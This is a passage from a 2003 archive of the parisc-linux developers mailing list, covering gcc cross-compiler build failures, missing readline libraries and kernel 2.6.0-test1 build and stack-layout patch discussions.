-I../../gcc/gcc/. -I../../gcc/gcc/config -I../../gcc/gcc/../include
../../gcc/gcc/gengenrtl.c -o gengenrtl.o
In file included from ../../gcc/gcc/gengenrtl.c:29:
../../gcc/gcc/real.h:67: error: size of array `test_real_width' is
negative
make[2]: *** [gengenrtl.o] Error 1
make[2]: Leaving directory `/mnt/fatty/src/hppa-toolchain/gcc/build/gcc'
make[1]: *** [stage2_build] Error 2
make[1]: Leaving directory `/mnt/fatty/src/hppa-toolchain/gcc/build/gcc'
make: *** [bootstrap] Error 2

---

Refs: http://gcc.gnu.org/ml/gcc/2002-10/msg01471.html

gcc/real.h
---
65 /* Verify the guess.  */
66 extern char test_real_width
67   [sizeof(REAL_VALUE_TYPE) <= REAL_WIDTH*sizeof(HOST_WIDE_INT) ? 1 : -1];
---
# 66 "../../gcc/gcc/real.h"
extern char test_real_width
  [sizeof(struct real_value) <= (((128 + (8 * 4)) + 32)/(8 * 8) + (((128
  + (8 * 4)) + 32)%(8 * 8) ? 1 : 0))*sizeof(long long) ? 1 : -1];
---

Which under a normal gcc in x86 evaluates correclty, but under the
stage1 xgcc it doesn't. How can I, obviously without having a glibc in
64-bit userspace, analyze the value of 'sizeof(struct real_value)'?

c.


From - Thu Nov 08 21:28:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc 3.3 release x86->hppa64 failure?
Date: Wed, 16 Jul 2003 02:30:12 -0400 (EDT)
Lines: 12
Approved: news@gmane.org
Message-ID: <200307160630.h6G6UCKq013487@hiauly1.hia.nrc.ca>
References: <20030716041435.GE5715@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622601 27950 80.91.229.3 (22 Nov 2014 02:16:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:41 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: carlos@baldric.uwo.ca (Carlos O'Donell)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul 16 00:37:59 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id DC2BC4847
	for <parisc-linux@lists.parisc-linux.org>; Wed, 16 Jul 2003 00:37:58 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9) with ESMTP id h6G6UDgL013488;
	Wed, 16 Jul 2003 02:30:13 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9/Submit) id h6G6UCKq013487;
	Wed, 16 Jul 2003 02:30:12 -0400 (EDT)
In-Reply-To: <20030716041435.GE5715@systemhalted> from "Carlos O'Donell" at Jul 16, 2003 00:14:35 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18948

> Has anyone recently tried to bootstrap an x86->hppa64 cross-compiler?
> I'm going with cvs binutils, cvs gcc -rgcc_3_3_release.
> 
> 'make boostrap'

'make bootstrap'?  There is no way stage2 can work in a cross.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:28:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ramesh <jlssvrk@yahoo.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Readline and ncurses libraries Problem
Date: Wed, 16 Jul 2003 05:03:17 -0700 (PDT)
Lines: 26
Approved: news@gmane.org
Message-ID: <20030716120317.39260.qmail@web20513.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622602 27953 80.91.229.3 (22 Nov 2014 02:16:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:42 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul 16 06:03:21 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from web20513.mail.yahoo.com (web20513.mail.yahoo.com [216.136.174.44])
	by dsl2.external.hp.com (Postfix) with SMTP id 8EA7F4847
	for <parisc-linux@lists.parisc-linux.org>; Wed, 16 Jul 2003 06:03:21 -0600 (MDT)
Original-Received: from [203.200.195.2] by web20513.mail.yahoo.com via HTTP; Wed, 16 Jul 2003 05:03:17 PDT
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18949

Hi ,

 I am using Linux/i386 -> Linux/PARISC cross compiler
(xc-latest), while compiling some piece of code which
uses readline and ncurses lib i get this errors

/opt/palinux/lib/gcc-lib/hppa-linux/3.0.3/../../../../hppa-linux/bin/ld:
cannot find -lreadline
collect2: ld returned 1 exit status


Please tell me where can i find readline and ncurses
library for this version of cross compiler.


GCC Version: 3.0.3

Thx :)
Ramesh


__________________________________
Do you Yahoo!?
SBC Yahoo! DSL - Now only $29.95 per month!
http://sbc.yahoo.com


From - Thu Nov 08 21:28:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Kernel 2.6.0-test1-pa1 64bits failled to compile
Date: Wed, 16 Jul 2003 18:35:44 +0200
Lines: 36
Approved: news@gmane.org
Message-ID: <3F0C24F800000FBF@ocpmta8.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622602 27957 80.91.229.3 (22 Nov 2014 02:16:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:42 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul 16 10:35:46 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id A5B2E4847
	for <parisc-linux@lists.parisc-linux.org>; Wed, 16 Jul 2003 10:35:46 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 19cpEH-0003Di-00
	for <parisc-linux@lists.parisc-linux.org>; Wed, 16 Jul 2003 18:34:09 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Wed, 16 Jul 2003 18:35:44 +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18950

Hi all,

This today cvs update failled to compile on my N4000-55 with this very short
message:

  LD      init/built-in.o
  LD      .tmp_vmlinux1
make: *** [.tmp_vmlinux1] Error 139
palx4000:/usr/src/linux-2.6.0-test1-pa1# 

Build with following 64bits gcc:

# dpkg -l gcc\*
Desired=Unknown/Install/Remove/Purge/Hold
| Status=Not/Installed/Config-files/Unpacked/Failed-config/Half-installed
|/ Err?=(none)/Hold/Reinst-required/X=both-problems (Status,Err: uppercase=bad)
||/ Name                  Version               Description
+++-=====================-=====================-==========================================================
[...]
ii  gcc-hppa64            3.2.3-0.1             Cross gcc for hppa64
[...]

Is there some tips to get more verbose make output?

Thanks in advance,
    Joel



------------------------------------------------------
Soldes Tiscali ADSL : 27,50 euros/mois jusque fin 2003.
On s'habitue vite  payer son ADSL moins cher!
Plus d'info? Cliquez ici... http://reg.tiscali.be/default.asp?lg=fr 




From - Thu Nov 08 21:28:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel 2.6.0-test1-pa1 64bits failled to compile
Date: Wed, 16 Jul 2003 17:37:54 +0100
Lines: 16
Approved: news@gmane.org
Message-ID: <20030716163754.GL23808@parcelfarce.linux.theplanet.co.uk>
References: <3F0C24F800000FBF@ocpmta8.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622602 27960 80.91.229.3 (22 Nov 2014 02:16:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:42 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <jsoe0708@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul 16 10:37:59 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 632024847
	for <parisc-linux@lists.parisc-linux.org>; Wed, 16 Jul 2003 10:37:59 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.14)
	id 19cpHu-0003Qo-O2; Wed, 16 Jul 2003 17:37:54 +0100
Content-Disposition: inline
In-Reply-To: <3F0C24F800000FBF@ocpmta8.freegates.net>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18951

On Wed, Jul 16, 2003 at 06:35:44PM +0200, Joel Soete wrote:
> This today cvs update failled to compile on my N4000-55 with this very short
> message:
> 
>   LD      init/built-in.o
>   LD      .tmp_vmlinux1
> make: *** [.tmp_vmlinux1] Error 139
> palx4000:/usr/src/linux-2.6.0-test1-pa1# 

that's make segfaulting.  139 is 128 + 11 == signal 11 == segfault.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:28:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel 2.6.0-test1-pa1 64bits failled to compile
Date: Wed, 16 Jul 2003 09:53:28 -0700
Lines: 23
Approved: news@gmane.org
Message-ID: <20030716165328.GK30257@tausq.org>
References: <3F0C24F800000FBF@ocpmta8.freegates.net> <20030716163754.GL23808@parcelfarce.linux.theplanet.co.uk>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622602 27961 80.91.229.3 (22 Nov 2014 02:16:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:42 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul 16 10:49:53 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5C3964847
	for <parisc-linux@lists.parisc-linux.org>; Wed, 16 Jul 2003 10:49:53 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 8B2B6CD2F8; Wed, 16 Jul 2003 09:53:28 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20030716163754.GL23808@parcelfarce.linux.theplanet.co.uk>
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18952

In reference to a message from Matthew Wilcox, dated Jul 16:
> On Wed, Jul 16, 2003 at 06:35:44PM +0200, Joel Soete wrote:
> > This today cvs update failled to compile on my N4000-55 with this very short
> > message:
> > 
> >   LD      init/built-in.o
> >   LD      .tmp_vmlinux1
> > make: *** [.tmp_vmlinux1] Error 139
> > palx4000:/usr/src/linux-2.6.0-test1-pa1# 
> 
> that's make segfaulting.  139 is 128 + 11 == signal 11 == segfault.

and the workaround for this for now is to disable CONFIG_KALLSYMS. I
sent Dave a patch to review to fix this problem last night. let's see
how that goes.

thanks,
randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:28:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc 3.3 release x86->hppa64 failure?
Date: Wed, 16 Jul 2003 13:12:19 -0400
Lines: 14
Approved: news@gmane.org
Message-ID: <20030716171219.GC27716@systemhalted>
References: <20030716041435.GE5715@systemhalted> <200307160630.h6G6UCKq013487@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622603 27964 80.91.229.3 (22 Nov 2014 02:16:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:43 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul 16 11:13:39 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 528D8482D
	for <parisc-linux@lists.parisc-linux.org>; Wed, 16 Jul 2003 11:13:39 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 19cppD-0007T3-00; Wed, 16 Jul 2003 13:12:19 -0400
Content-Disposition: inline
In-Reply-To: <200307160630.h6G6UCKq013487@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (30% Sync Ratio [===.......])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18953

> > Has anyone recently tried to bootstrap an x86->hppa64 cross-compiler?
> > I'm going with cvs binutils, cvs gcc -rgcc_3_3_release.
> > 
> > 'make boostrap'
> 
> 'make bootstrap'?  There is no way stage2 can work in a cross.

Erm. My mistake. I inadvertantly used 'make boostrap' in my build
script. Obviously not thinking since stage2 would not be able to build a
stage3 since it can't run the executable it builds.

c.



From - Thu Nov 08 21:28:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] [PATCH] fix arbitrary limits on stack size
Date: Wed, 16 Jul 2003 19:30:29 +0200
Lines: 30
Approved: news@gmane.org
Message-ID: <3F0C24F800000FDD@ocpmta8.freegates.net>
References: <1058212036.2966.13.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622603 27966 80.91.229.3 (22 Nov 2014 02:16:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:43 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: "James Bottomley" <James.Bottomley@steeleye.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul 16 11:30:32 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id 922B9482D
	for <parisc-linux@parisc-linux.org>; Wed, 16 Jul 2003 11:30:32 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 19cq5G-0002AQ-00; Wed, 16 Jul 2003 19:28:54 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Wed, 16 Jul 2003 19:30:29 +0200
In-Reply-To: <1058212036.2966.13.camel@mulgrave>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18954

>
>On Mon, 2003-07-14 at 05:48, Joel Soete wrote:
> I don' t remember the historical reason of this choice but do you think
it
> is possible to back-port it into 2.4 (it will facilitate so much the merge
> with upstream?)

>Well, I suppose, theoretically.

> However, before we consider backporting, what I really need is for
> people to test it. 

Ok Jame, Now I have a 32bits 2.6.0-test1-pa1 running so I come back to you.

No problem to apply it :) , so I can launch the compile.

Just a question in the mean time: it doesn't seens that your patch take care
of CONFIG_STACK_GROWSUP in related files?

Thanks,
    Joel


------------------------------------------------------
Soldes Tiscali ADSL : 27,50 euros/mois jusque fin 2003.
On s'habitue vite  payer son ADSL moins cher!
Plus d'info? Cliquez ici... http://reg.tiscali.be/default.asp?lg=fr 




From - Thu Nov 08 21:28:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] fix arbitrary limits on stack size
Date: Wed, 16 Jul 2003 18:36:21 +0100
Lines: 17
Approved: news@gmane.org
Message-ID: <20030716173621.GM23808@parcelfarce.linux.theplanet.co.uk>
References: <1058212036.2966.13.camel@mulgrave> <3F0C24F800000FDD@ocpmta8.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622603 27970 80.91.229.3 (22 Nov 2014 02:16:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:43 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@steeleye.com>,
	parisc-linux@parisc-linux.org
To: Joel Soete <jsoe0708@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul 16 11:36:23 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 80A5D482D
	for <parisc-linux@parisc-linux.org>; Wed, 16 Jul 2003 11:36:23 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.14)
	id 19cqCT-0005mf-SC; Wed, 16 Jul 2003 18:36:21 +0100
Content-Disposition: inline
In-Reply-To: <3F0C24F800000FDD@ocpmta8.freegates.net>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18955

On Wed, Jul 16, 2003 at 07:30:29PM +0200, Joel Soete wrote:
> Ok Jame, Now I have a 32bits 2.6.0-test1-pa1 running so I come back to you.
> 
> No problem to apply it :) , so I can launch the compile.
> 
> Just a question in the mean time: it doesn't seens that your patch take care
> of CONFIG_STACK_GROWSUP in related files?

um, the stack continues to grow up.  it's just a question of where the
stack starts at.  before, it was at top of memory - stack limit, now it's
at task_unmapped_base and mmaps grow down from the top of memory.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:28:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel 2.6.0-test1-pa1 64bits failled to compile
Date: Wed, 16 Jul 2003 20:06:01 +0200
Lines: 17
Approved: news@gmane.org
Message-ID: <3F0C24F800000FF8@ocpmta8.freegates.net>
References: <20030716163754.GL23808@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622604 27973 80.91.229.3 (22 Nov 2014 02:16:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:44 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Matthew Wilcox" <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul 16 12:06:06 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9275A482D
	for <parisc-linux@lists.parisc-linux.org>; Wed, 16 Jul 2003 12:06:06 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 19cqcq-0004Tm-00; Wed, 16 Jul 2003 20:03:36 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Wed, 16 Jul 2003 20:06:01 +0200
In-Reply-To: <20030716163754.GL23808@parcelfarce.linux.theplanet.co.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
